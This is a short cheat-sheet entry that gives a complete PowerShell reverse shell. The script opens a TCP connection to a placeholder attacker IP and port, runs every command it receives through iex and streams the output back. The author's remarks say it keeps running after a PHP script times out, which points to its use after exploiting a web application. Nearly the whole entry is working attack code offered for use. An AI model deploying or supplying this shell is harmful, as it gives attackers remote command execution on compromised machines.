PowerShell reverse shell

A pure PowerShell reverse shell:

$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | %{0};
while (( $i = $stream.Read($bytes, 0, $bytes.Length) ) -ne 0) {
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
	$sendback = ( iex $data 2>&1 | Out-String );
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ( [text.encoding]::ASCII ).GetBytes($sendback2);
	$stream.Write($sendbyte, 0, $sendbyte.Length);
	$stream.Flush()
}
$client.Close()

URL-encoded version (uses powershell -c "$CODE"):

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Note that <IP> and <PORT> need to be appropriately replaced in the above code.

One annoying thing about this reverse shell… There’s no initial prompt, so you have no idea whether you’ve connected or not. but as soon as you enter a command (whoami, etc.), a prompt will appear after the output. On the plus side, however, this reverse shell will persist even after the PHP script times out!